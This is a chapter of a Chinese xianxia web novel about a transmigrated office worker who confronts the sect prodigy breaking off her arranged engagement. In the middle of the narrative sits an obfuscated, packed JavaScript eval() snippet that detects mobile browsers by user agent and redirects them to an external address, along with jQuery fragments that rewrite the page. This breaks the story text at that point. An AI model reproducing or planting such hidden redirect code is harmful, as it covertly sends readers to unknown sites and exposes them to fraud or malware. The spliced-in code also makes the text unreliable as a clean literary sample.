当江酒酒把最后一箱红妆搬回寝居后,她终于认清现实:自己穿越了。
这位二十一世纪名牌大学毕业的外企高管,上一秒还在公司绞劲脑汁合理利用一切空余时间打工摸鱼,下一秒就魂穿到了这副十八岁躯体,来到了修真世界。
在这里,她的外貌没多大变化,不过眉眼多了几分不谙世事的单纯而已。名字也没变,还是叫江酒酒。
当然,除了外貌和姓名,其他全变了——她成了破云宗千年一遇的先天道体小师妹,先天满灵根。不过,此事只有她和师傅知道,为了防止被有心之人利用,师傅在原主十岁那年便封了她一半灵脉,告诫她不可乱用修为。
原主很听话,听话到师傅羽化飞升都没问解开封印之法。所以,现在的江酒酒,是个残次品。
这还不是最糟的。
最糟糕的是,这副身体的主人前不久“仙逝”了,原因是——她收到了对面仙门归云宗的首席大弟子顾清寒的退婚书。原主一时羞愧难当,发了心悸,晕死过去。现在这位二十一世纪同名同姓的穿越者自然地接管了这副身体。
“等等,这剧本不对。”江酒酒搬完最后一箱“嫁妆”,四仰八叉地躺在青玉床上,忽觉冰冷刺骨,又坐起来,忿忿不平,“渣男的锅,为什么让我背?”
“如果不是那个渣男,原主就不会死,原主不死,我就不会来。天杀的,还我摸鱼时间——我这个月工资还没发——”
没错。万恶之源始于那个隔壁宗门的那个男人。
想到这,江酒酒心燃起一股无名怒火。她非得亲眼看看,到底是何方神圣间接害了她落魄于此。
忽然,一阵敲门声响起。
门口传来熟悉的声音:“小师妹——”
是破云宗二师姐穆筝。
江酒酒起身打开了门。
穆筝看着她,又看了看屋子里一侧的红妆箱,面露难色。
“师姐但说无妨”,她看着穆筝难堪的脸色,猜到了七八分。今天,是归云宗在退婚书里约定上门退亲的日子。
“他们来了?”,江酒酒煞有介事,佯装恼怒。她想,这样比较符合那位爱“前未婚夫”爱惨了的小师妹形象。
穆筝眉头凝成一团,点头。很快,又握住江酒酒的手,温和道,“归云宗派人来了,师妹你今天好好休息,师姐替你去见他们——”
此刻的江酒酒只有一个感觉,穆筝的手好冰。冰到像隔着肉身给自己的心浇上了凉水。她下意识打了个寒颤。
这也不能怪穆筝,她修的无情道,断情绝爱。
通过这段时间对原主记忆的梳理,江酒酒倒是理清许多关系。她所在的破云宗是仙盟里不入流的小宗门,归属于“小门小派”行列。破云宗老宗主,也就是江酒酒那位直到“驾鹤西归”也没帮她解开修为封印的师傅,是个酒鬼,因喝酒悟道飞升上阶。当然,也因喝酒误事,十年前应邀去隔壁宗门喝喜酒,与同样喝得烂醉的归云宗大仙长为两个小辈定下了娃娃亲。据说,与她定亲的人,是归云宗百年一遇的天才,长得貌若潘安,仙风道骨,小江酒酒为此芳心暗许,痴迷许久。
但现下这位江酒酒……暗骂:
“渣男”。
不论两人是否相熟,仅凭一纸退婚书就将她从现世拉来,耽误她升职、加薪、摸鱼的臭男人,不渣吗?这下好了,在现世,江酒酒没了事业,在修真界,江酒酒没了爱情,还因退婚遭世人议论,每每想到这,她两眼一黑。
穆筝看她发呆,以为她又心悸失神,握着她的手又紧了紧,“师妹好好休息,有师兄和师姐在呢,我们去——”
还没等她说完,江酒酒反手覆上穆筝冰冷的手心,声音比穆筝的手还冷,“那个贱人也来了?”
穆筝拧着眉,她当然知道江酒酒口中的“贱人”是谁,最终还是点了点头。
江酒酒意会,嘴角扯出一丝邪笑,转身朝身后的红妆走去,打开最近的一箱,撬开锁扣,开箱,几把银色的利剑反射白光刺了出来。
“小师妹——”,穆筝一怔。
门房一侧整整齐齐放着江酒酒刚刚搬进来那堆被原数退回的“嫁妆”。嫁妆一共十箱,无非就是一些练气筑基期的仙器,丹药,衣装……刚才被江酒酒撬开的那箱,装着几把银剑。
箱子里的银剑就这么散开,江酒酒指尖滑过剑锋,泛起一丝寒光。不到半分钟,她随意挑了把轻巧的,会心一笑,“师姐,这把称手”。
说罢,拉着门口的穆筝,头也不回朝宗门大殿走去。
“小师妹”,穆筝缓过神来,看着自己记忆中温柔安静娇滴滴的江酒酒,大受震撼,心想,师妹不会因为退婚一事劳累伤神,得了失心疯?
不远处传来江酒酒爽利的声音,“师姐好意我心领了,但我偏要去会一会那个‘百年天才’,瞧瞧究竟是何方牛马,让我受困于此!”
……
破云宗,宗门大殿。
一位白发长老立身于大殿中央,他的身侧站着位青衣男子。青年长发飘逸,束手而立,面容虽然俊美,却又生得一副仙风道骨的模样,让人可望而不可即。
大殿另一端的宗门主位上坐着一位与青衣男子年纪相仿的人,只不过经过几年磨砺,面容显得沧桑许多,有些病倦。
殿中央的白发长老率先开口,“八年前与贵宗的婚约......”,他欲言又止,看了看对面那位年轻宗主的神色,接道,“既然老宗主已逝,自然做不得数了”。
他身边的青衣剑修立刻上前一步,作揖,生怕遇上对面那位宗主反驳,特意提高了声调,待白发老者话毕无缝衔接,
“晚辈顾清寒,特来退婚。”
裴辞坐在宗主之位上,看着面前二人一唱一和,面色显然不太好看。
破云宗酒鬼宗主当初莫名飞升,留下一宗门烂摊子无人打理。而师傅的六位弟子中,他是老大,也唯有他刚入金丹后期,不得已撑起这摇摇欲坠的小宗门。好不容易将宗门拉扯像样,终于迎来破云宗第一件喜事——小师妹与归云宗的婚约,师兄妹五人忙前忙后掏出家底帮小师妹张罗嫁妆,却没想欢喜的氛围不日前被一纸退婚书打破。
归云宗近些年发展得日益兴盛,而破云宗,从百年前的江湖大宗门退化成了如今的仙门小派,别人瞧不上,情有可原。可是……裴辞就是咽不下这口气。破云宗庙再小,也是正统仙门,是正经飞升过数位仙长的修道正派,如今却连自己小师妹的婚约都护不了。
“晚辈顾清寒,特来退婚!”
大殿里的青衣男子声音又拔高了几分,分明用了内力,裴辞眉头皱得更甚,顾清寒分明想让整个仙门都听见,包括现下还在寝殿里修养的小师妹。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432817|169235||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“大胆!”
裴辞大喝一声,释放灵力,想通过修为压制顾清寒。可是,大殿中央的男人分明站着,面色如常,丝毫没有受到修为等级压制的影响。
裴辞瞳孔一震,难道——他的修为不亚于我?是了,顾清寒可是仙门百年一遇的天才,归云宗首席大弟子,说不定……
“罢了”,他无力开口。
“既然宗主开口,那这门亲事可在诸位的见证下作废了——”,白发长老嘴角扯着笑,道貌岸然地准备退亲。
“且慢!”
一声清喝穿透殿外云海。
破云宗大殿外的石阶上出现两人身影。是江酒酒和穆筝。
江酒酒轻蔑一笑,拎着刚挑选好的趁手银剑踏入大殿,剑尖在地面拖出细碎火花,每走一步,都能刮起阵阵春风。
“酒酒”,裴辞看清来人后,定了定心神。他本以为此刻的小师妹正伤痛欲绝不愿见人,没想到竟来到殿前,而且神色……似乎还不赖。
“今天好热闹啊。”江酒酒随手将银剑插进大殿内的青玉砖,剑身嗡鸣,“听说有人要替我做主婚事?我来看看是哪位德高望重的仙长闲得慌,竟没脸没皮管起了小辈的爱恨情仇来?”
白发仙人猛地转身,怒喝,“江酒酒——你!”
“宗主、师兄。”她甚至都没将闲暇目光分给一旁气急败坏的老人,掠过顾清寒冷若冰霜的表情,仰头望着主位上的宗主和宗主身旁早已因归云宗仗势欺人面露愠色的三位师兄们,缓缓开口,“我江酒酒虽然修为不过练气期,但也知道八年前定亲时,贵宗大长老可是写过婚书契约,和我师傅一齐向天道立誓的。”
白发长老脸色骤变。当年酒鬼宗主用三坛醉仙酿诓着归云宗长老立契的场景历历在目,想来那文书背面还沾着陈年酒渍。
“如今,凭贵宗长老一句话就违背契约,归云宗就是这样教弟子做人的?”江酒酒唇齿讥讽,不依不饶,“要是让当代小辈学了去,整个仙盟怕不是耻笑你归云宗倚老卖老,脸皮比我破云宗大殿外的石阶还厚——对了,刚刚我进来的时候还踩了踩,发现它们都没你的脸色油亮——”
“你说对吧,师姐?”,江酒酒朝穆筝望去。
“师妹说得极对!”还没等穆筝反应,一个男声抢声而出,是三师兄卫潜鸣。他早看不惯眼前归云宗道貌岸然的做派,刚刚听江酒酒一席话,大快人心。
江酒酒心满意足点了点头,这才回过来看向殿中央的两人。
对上顾清寒的眼睛,心道,这“前未婚夫”,也就这样吧,假模假式,拿腔拿调,长得……像个仙鹤,在修真界修炼内卷个百年,将来说不定是个秃顶仙鹤。暗自感叹,啧啧啧,幸好退婚,万幸万幸。
“这位小仙主,依你之见如何才能取消婚约?”,顾寒清开口,掠过殿中,声音阴冷,江酒酒甚至觉得,比穆筝修的无情道还冷。
好一个“小仙主”,这么着急撇清关系。小江酒酒啊,这就是你日思夜想甚至让你付出了生命的男人?江酒酒为此感到不值,想着前任原主的遭遇,突然笑出声。在二十一世纪当社畜时她就明白,给甲方当舔狗没有好下场。
她慢悠悠拔出陷在青砖里的银剑,眼睛逆着寒光眯成一条缝,朝顾清寒装模做样比划几下,缓缓开口:“违约金三成,现结还是分期?”